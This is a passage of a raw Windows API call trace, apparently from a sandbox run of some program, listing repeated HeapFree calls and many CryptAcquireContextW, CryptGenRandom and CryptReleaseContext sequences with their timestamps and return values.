hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514ab8 | out: hHeap=0x4f0000) returned 1 [0031.099] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514b48 | out: hHeap=0x4f0000) returned 1 [0031.099] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514bd8 | out: hHeap=0x4f0000) returned 1 [0031.099] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514c68 | out: hHeap=0x4f0000) returned 1 [0031.099] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514cf8 | out: hHeap=0x4f0000) returned 1 [0031.099] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514d88 | out: hHeap=0x4f0000) returned 1 [0031.099] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514e18 | out: hHeap=0x4f0000) returned 1 [0031.099] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514518 | out: hHeap=0x4f0000) returned 1 [0031.099] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511898 | out: hHeap=0x4f0000) returned 1 [0031.100] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511058 | out: hHeap=0x4f0000) returned 1 [0031.100] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5110e0 | out: hHeap=0x4f0000) returned 1 [0031.100] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5145a8 | out: hHeap=0x4f0000) returned 1 [0031.100] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0031.100] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.100] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.100] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.100] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.101] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.101] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.101] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.102] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.102] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.102] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.102] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.102] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.102] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.103] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.103] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.103] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.104] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.104] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.104] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.104] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.104] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.105] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.105] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.105] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.105] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.106] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.106] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.106] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.107] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.107] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.107] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.107] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.107] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.107] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.108] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.108] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.108] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.109] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.109] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.109] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.110] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.110] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.110] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.110] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.110] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.110] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.111] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.111] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.111] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.112] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.112] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.112] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.113] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.113] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.113] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.113] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.113] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.113] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.114] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.114] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.114] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.115] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.115] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.115] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.115] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.115] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.115] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.116] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.116] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.116] CryptAcquireContextW (in: phProv=0x44d70c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d70c*=0x5111f0) returned 1 [0031.117] CryptGenRandom (in: hProv=0x5111f0, dwLen=0x80, pbBuffer=0x44d720 | out: pbBuffer=0x44d720) returned 1 [0031.117] CryptReleaseContext (hProv=0x5111f0, dwFlags=0x0) returned 1 [0031.117] CryptAcquireContextW (in: phProv=0x44d70c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d70c*=0x5111f0) returned 1 [0031.118] CryptGenRandom (in: hProv=0x5111f0, dwLen=0x80, pbBuffer=0x44d720 | out: pbBuffer=0x44d720) returned 1 [0031.118] CryptReleaseContext (hProv=0x5111f0, dwFlags=0x0) returned 1 [0031.118] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511168 | out: hHeap=0x4f0000) returned 1 [0031.118] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b98 | out: hHeap=0x4f0000) returned 1 [0031.118] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511168 | out: hHeap=0x4f0000) returned 1 [0031.118] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514e18 | out: hHeap=0x4f0000) returned 1 [0031.118] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b98 | out: hHeap=0x4f0000) returned 1 [0031.118] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0031.118] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4ff040 | out: hHeap=0x4f0000) returned 1 [0031.118] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514e18 | out: hHeap=0x4f0000) returned 1 [0031.118] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0031.118] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0031.118] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0031.118] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0031.118] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0031.118] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0031.118] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0031.118] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0031.118] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0031.118] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0031.118] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0031.118] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0031.118] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0031.118] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0031.118] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0031.118] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0031.118] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0031.118] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0031.118] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0031.119] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0031.119] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0031.119] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0031.119] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0031.122] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.122] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.122] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.122] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.123] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.123] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.123] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.124] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.124] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.124] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.124] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.124] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.124] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.125] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.125] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.125] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.126] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.126] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.126] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.126] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.126] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.127] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.127] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.127] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.127] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.128] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.128] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.128] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.129] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.129] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.129] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.129] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.130] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.130] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.130] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.130] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.130] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.131] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.131] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.131] CryptAcquireContextW (in: phProv=0x44d70c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d70c*=0x5111f0) returned 1 [0031.132] CryptGenRandom (in: hProv=0x5111f0, dwLen=0x80, pbBuffer=0x44d720 | out: pbBuffer=0x44d720) returned 1 [0031.132] CryptReleaseContext (hProv=0x5111f0, dwFlags=0x0) returned 1 [0031.135] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.135] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.135] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.135] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.136] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.136] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.136] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.137] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.137] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.137] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.137] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.137] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.137] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.138] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.138] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.138] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.139] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.139] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.139] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.140] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.140] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.140] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.140] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.140] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.140] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.141] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.141] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.141] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.142] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.142] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.142] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.143] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.143] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.143] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.143] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.143] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.144] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.144] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.144] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.144] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.145] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.145] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.145] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.146] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.146] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.146] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.146] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.146] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.146] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.147] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.147] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.147] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.148] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.148] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.148] CryptAcquireContextW (in: phProv=0x44d7dc, 